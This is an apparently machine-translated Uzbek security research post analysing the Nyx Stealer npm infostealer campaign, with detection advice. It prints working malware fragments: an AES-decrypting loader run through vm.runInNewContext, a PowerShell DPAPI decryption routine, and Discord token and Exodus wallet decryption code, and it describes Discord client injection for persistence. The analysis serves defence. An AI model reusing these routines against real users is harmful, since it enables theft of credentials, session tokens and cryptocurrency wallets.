TP; DR
Xygeni xavfsizlik tadqiqot guruhi ikkita zararli paket orqali yetkazib beriladigan murakkab npm infostealer kampaniyasini aniqladi: konsollofy va o'z-o'zini bot-lofy.
Eng so'nggi versiyasi (consolelofy@1.3.0) ish vaqtida shifrini ochadigan va quyidagi orqali bajariladigan 216KB AES shifrlangan foydali yuklamani joylashtiradi vm.runInNewContext()Zararli mantiq to'liq shifrlanganligi sababli, satr tekshiruviga tayanadigan statik skanerlar uning xatti-harakatlarini bajarilish vaqtigacha kuzata olmaydi.
Shifrni ochgandan so'ng, foydali yuk ichki brendga ega bo'ladi Nyx o'g'risi, maqsadlar:
- Discord autentifikatsiya tokenlari
- 50 dan ortiq brauzer ma'lumotlari do'konlari
- 90+ kriptovalyuta hamyon kengaytmalari
- Roblox, Instagram, Spotify, Steam, Telegram va TikTok sessiyalari
- Discord ish stoli mijozining barqarorligi
Ikkala paketdagi barcha 20 ta versiya zararli ekanligi haqida xabar berildi va tasdiqlandi.
Ushbu npm Infostealerning texnik ko'rinishi
An'anaviy o'rnatish vaqtidagi zararli dasturlardan farqli o'laroq, bu kampaniya quyidagilarga tayanadi: ish vaqti shifrni ochish modeli.
Bu yerda:
- Yomon niyatli emas
preinstallorpostinstallhooks - O'rnatish vaqtida aniq tarmoq qo'ng'iroqlari yo'q
- Oddiy matnli ma'lumotlarni yig'ish mantig'i yo'q
Modul import qilinganda yuklama faollashadi. Zararli dasturning butun tanasi shifrlangan va faqat ish vaqtida xotirada paydo bo'ladi.
Ushbu dizayn, ayniqsa, paketni o'rnatish paytida aniqlanishni oldini oladi.
Ushbu npm Infostealer aslida qanday ishlaydi
Nyx Stealer nimani o'g'irlashini tahlil qilishdan oldin, biz tushunishimiz kerak qanday amalga oshiriladi.
Ushbu npm infostealer ichidagi zararli mantiq izchil naqshga amal qiladi:
Kichik yuklovchi katta shifrlangan foydali yukni shifrlaydi va uni Node.js VM kontekstida dinamik ravishda bajaradi.
Bu dizayn ataylab qilingan. Hujumchi funksiyani faqat chalkashtirish ortida yashirmaydi, ular zararli kodni statik ko'rinishdan butunlay olib tashlash.
Yuqori darajadagi ijro modeli
Yuqori darajada, o'rash to'rtta narsani bajaradi:
- SHA-256 yordamida qattiq kodlangan paroldan AES kalitini oladi
- AES-256-CBC yordamida katta hex-kodlangan shifrlangan matnni shifrlaydi
- Shifrlangan JavaScript yordamida bajariladi
vm.runInNewContext() - Kuchli ish vaqti ibtidoiylarini hali ham ochib beradigan sinov muhitini taqdim etadi
Asosiy texnika xulosasi
| Component | Konfiguratsiya / qiymat |
|---|---|
| Algoritm | AES-256-CBC |
| Kalit hosilasi | SHA-256 (parol) |
| Boshlash vektori (IV) | 0x00 ning 16 bayti |
| qatl | vm.runInNewContext(shifrlangan, sinov muhiti) |
Muhimi, sinov muhiti quyidagilardan o'tadi:
requireprocessBuffer- taymerlar
- modul eksporti
Bu shuni anglatadiki, shifrlangan yuk quyidagi imkoniyatlarni to'liq saqlab qoladi:
- Urug'lanish jarayonlari
- Fayllarni o'qish va yozish
- Tarmoq qo'ng'iroqlarini amalga oshiring
- Mahalliy ilovalarni o'zgartirish
Bu cheklangan VM emas. Bu ijro batut sifatida ishlatiladigan VM.
Ish vaqti shifrlash naqshlari (asosiy ijro mexanizmi)
Yuklagich kichik.
Yomon niyatli tana unday emas.
Paket ichidagi ijro naqshlari quyida keltirilgan:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Nima uchun bu masala
Shifrlangan yuk:
- qiladimi yo'q npm paketi ichida oddiy matnda mavjud
- Oddiy ko'rinmas
grepyoki statik satrlarni skanerlash - Xotirada faqat ish vaqtida aks etadi
- To'liq Node ish vaqti imkoniyatlari bilan bajaradi
Ushbu AES + VM ijro kombinatsiyasi kuchli xulq-atvor ko'rsatkichidir npm infostealer statik tekshiruvdan qochishga urinmoqda.
Boshqa so'z bilan aytganda:
Agar siz paket manba daraxtini skanerlasangiz, o'g'irlovchini ko'rmaysiz.
Siz shifrni ochuvchini ko'rasiz.
Shifrni ochishdan keyin nima bo'ladi
Nyx Stealer bajarilgandan so'ng, parallel ma'lumotlarni yig'ish to'lqinlarini ishga tushiradi.
1-to'lqin: Brauzer ma'lumotlarini olish
Zararli dastur:
- NuGet CDN dan Python ish vaqtini yuklab oladi
- Kriptografik kutubxonalarni o'rnatadi
- Chromium asosidagi hisob ma'lumotlari omborlarini ajratib oladi
- DPAPI bilan himoyalangan sirlarni shifrlaydi
Mahalliy bog'lanishlarni kompilyatsiya qilish o'rniga, u Windows DPAPI-ni to'g'ridan-to'g'ri chaqirish uchun PowerShell-dan foydalanadi.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Ushbu yondashuv:
- Kompilyatsiya artefaktlaridan qochadi
- Windows kripto API'laridan foydalanadi
- Ma'muriy vositalar bilan uyg'unlashadi
Bu OS darajasidagi hisob ma'lumotlarini shifrlash, qirib olish emas.
2-to'lqin: Discord tokenini shifrlash
O'g'irlovchi protokoldan xabardor. U Discordning shifrlangan token formatini tushunadi.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Operatsion oqim:
- Discord'dan asosiy kalitni ajratib oling
Local State - DPAPI orqali asosiy kalitni shifrlash
- AES-GCM token bloklarini shifrdan chiqarish
- Discord API-ga qarshi tokenlarni tasdiqlash
- Nitro, nishonlar va to'lov ma'lumotlari bilan boyiting
Bu umumiy hisob ma'lumotlarini o'g'irlash emas. Bu protokolga asoslangan sessiyani o'g'irlashdir.
3-to'lqin: Kriptovalyuta hamyonini nishonga olish
npm infostealer quyidagilarni sanab o'tadi:
- 90+ brauzer hamyon kengaytmalari
- 27 ta ish stoli hamyonlari
- Sovuq hamyon yo'llari
- Exodus urug'lik fayllari
Misol uchun, shifrni ochishga urinish:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Agar muvaffaqiyatli bo'lsa, hamyon murosaga kelishish darhol va qaytarib bo'lmaydigan bo'ladi.
Bu kampaniyaning eng yuqori qiymatli monetizatsiya vektorini ifodalaydi.
Discord Desktop Injection orqali qat'iyatlilik
Ishonchnomalarni to'plagandan so'ng, Nyx Stealer mahalliy ma'lumotlarni o'zgartirish orqali qat'iyatlilikka harakat qiladi. Tanqid mijoz.
Nishon:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operatsion ketma-ketligi
Infostealer quyidagi amallarni bajaradi:
- Ishlayotgan Discord jarayonlarini to'xtatadi
- O'rnatilgan Discord variantlarini topadi (Stable, Canary, PTB)
- Ustidan yozadi
discord_desktop_core/index.js - Hujumchi tomonidan boshqariladigan veb-huk mantig'ini kiritadi
- Discordni qayta ishga tushiradi
Bu kelajakdagi Discord sessiyalarida yangi autentifikatsiya tokenlari avtomatik ravishda oqib ketishini ta'minlaydi.
Muhimi, bu qat'iylik rejalashtirilgan vazifalarga yoki registrdagi o'zgarishlarga bog'liq emas. U ilova darajasidagi kodni o'zgartirishdan, ya'ni maxfiyroq yondashuvdan foydalanadi.
Zararli npm paketi keyinchalik olib tashlansa ham, Discord mijozi buzilganligicha qolmoqda.
Texnik taqqoslash: Legitimate Selfbot va npm Infostealer
| Component | Qonuniy kutubxona | Nyx npm Infostealer |
|---|---|---|
| shifrlash | hech qaysi | To'liq AES bilan shifrlangan yuk |
| Ish vaqti virtual mashinasi | Talab qilinmaydi | vm.runInNewContext bajarish |
| Hisob ma'lumotlariga kirish | Faqat Discord API'si | Brauzer, hamyonlar, DPAPI |
| Tashqi yuklab olishlar | Yo'q | NuGet orqali Python ish vaqti |
| Barqarorlik | Yo'q | Discord mijoz in'ektsiyasi |
| Pul ishlash | Botlarni avtomatlashtirish | Ishonchnomani qayta sotish |
Shifrlash qatlamining o'zi bu kampaniyani odatiy ochiq kodli vilkadan ajratib turadi.
Qonuniy Discord selfboti butun kod bazasini shifrlash, DPAPI ga kirish uchun PowerShell ni ishga tushirish, tashqi ish vaqtlarini yuklab olish yoki ish stoli ilovasining ichki sozlamalarini o'zgartirish uchun hech qanday sababga ega emas. Ushbu imkoniyatlar Discord o'zaro ta'sirini avtomatlashtirishni da'vo qiladigan qaramlik ichida paydo bo'lganda, arxitektura nomuvofiqligini e'tiborsiz qoldirib bo'lmaydi.
Tadqiqot nuqtai nazaridan, ushbu npm infostealer bir nechta qatlamlarda iz qoldiradi. Biroq, eng ishonchli ko'rsatkichlar qattiq kodlangan URL manzillari yoki ma'lum fayl yo'llari emas, chunki ular versiyalar orasida o'zgarishi mumkin. Buning o'rniga, bardoshli signallar strukturaviydir.
Paket darajasida eng kuchli qizil bayroq katta shifrlangan foydali yuklama va darhol bajariladigan ish vaqtidagi shifrni ochish paketining kombinatsiyasi hisoblanadi vm.runInNewContext()Shifrlashning o'zi zararli bo'lmasa-da, Discord yordamchi dasturi paketida AES shifrini ochish va keyin dinamik VM ijro etish juda g'ayritabiiydir.
Xost darajasida shubhali naqshlar kutilmagan DPAPI shifrini ochish faolligi, Node.js qaramlik kontekstidan jarayonlarning paydo bo'lishi va uchinchi tomon kutubxonalari tomonidan hech qachon o'zgartirilmasligi kerak bo'lgan mahalliy dastur fayllarini o'zgartirishni o'z ichiga oladi. Xuddi shunday, tarmoq sathida, ishlab chiqish qaramligi tomonidan boshlangan chiquvchi veb-huk uslubidagi aloqa yana bir mazmunli anomaliyani ifodalaydi.
Boshqacha qilib aytganda, aniqlash yuzasi buzilishning yagona ko'rsatkichi emas. Tahdidni ochib beradigan narsa shifrlash, ish vaqtida bajarilishi, hisobga olish ma'lumotlariga kirish va doimiylik xatti-harakatlarining o'zaro bog'liqligidir.
Xygeni yordamida aniqlash va kamaytirish
Ushbu npm ma'lumot o'g'risi tomonidan aniqlangan Xygeni zararli dasturi haqida erta ogohlantirish (MEW) oddiy imzo moslashuvi o'rniga qatlamli xulq-atvor korrelyatsiyasi orqali.
Ma'lum zararli satrlarni qidirish o'rniga, MEW to'liq manba daraxti bo'ylab strukturaviy anomaliyalarni baholaydi. Bu holda, aniqlash bir nechta signallarning yaqinlashuvidan kelib chiqadi: modul kirish nuqtasida o'rnatilgan AES shifrini ochish tartibi, VM kontekstida darhol bajarilishi va aniq imkoniyat-niyat nomuvofiqligi.
Muhimi, bu signallarning hech biri yolg'iz o'zi zararli niyatni isbotlamaydi. Biroq, birgalikda tahlil qilinganda, ular ish vaqtidagi xatti-harakatlarni yashirishga urinishni fosh qiladi. Ushbu qatlamli yondashuv yuqori ishonchlilikdagi ta'minot zanjiri tahdidlarini aniqlash bilan birga noto'g'ri ijobiy natijalarni sezilarli darajada kamaytiradi.
Bundan tashqari, bu holat nima uchun faqat o'rnatish vaqtida tekshirishning o'zi yetarli emasligini ko'rsatadi. Zararli mantiq hayot aylanishi skriptlarida mavjud emas. U faqat modul yuklangandan so'ng faollashadi va faqat xotirada shifrlangandan keyingina ko'rinadi. Shuning uchun samarali himoya shifrlashdan xabardor tahlil, xulq-atvor naqshini aniqlash va o'rnatish hodisalaridan tashqari doimiy bog'liqlikni monitoring qilishni talab qiladi.
Registrni olib tashlash reaktivdir. Ish vaqtiga asoslangan tahlil profilaktika hisoblanadi.
Nima uchun bu npm Infostealer muhim
Nyx Stealer npm asosidagi zararli dasturlarning strukturaviy evolyutsiyasini ifodalaydi.
Tarixan, ko'plab zararli paketlar ko'rinadigan o'rnatish vaqtidagi skriptlarga yoki aniq hisob ma'lumotlarini chiqarib tashlashning oxirgi nuqtalariga tayangan. Aksincha, bu kampaniya o'zining foydali yukini shifrlaydi, bajarilishini ish vaqtiga kechiktiradi, qonuniy operatsion tizim API-laridan foydalanadi va ishonchli ilovalar ichida barqarorlikni o'rnatadi.
Natijada, tajovuzkor npm infratuzilmasidan o'zi foydalanishi shart emas. Buning o'rniga, hujum muvaffaqiyatli bo'ladi, chunki qaramlikni o'rnatish ishonchni anglatadi. Ishlab chiquvchilar kutubxonani import qilish xavfsiz operatsiya deb taxmin qilishadi, ayniqsa u o'zini mashhur vositaning ishonchli vilkasi sifatida ko'rsatganda.
Ekosistemalar o'sishda davom etar va vilkalar ko'payib borar ekan, bu yashirin ishonch chegarasi tobora jozibador hujum yuzasiga aylanib bormoqda. Shuning uchun, zamonaviy npm ma'lumotlar o'g'irlovchilaridan himoyalanish statik simlarni qidirish o'rniga me'moriy naqshlarni tan olishni talab qiladi.
Oxir-oqibat, ushbu kampaniya muhim saboqni mustahkamlaydi software supply chain securityEng xavfli tahdidlar birinchi qarashda zararli ko'rinadigan tahdidlar emas, balki ish vaqti ularning haqiqiy xatti-harakatlarini ochib bermaguncha strukturaviy jihatdan qonuniy ko'rinadigan tahdidlardir.




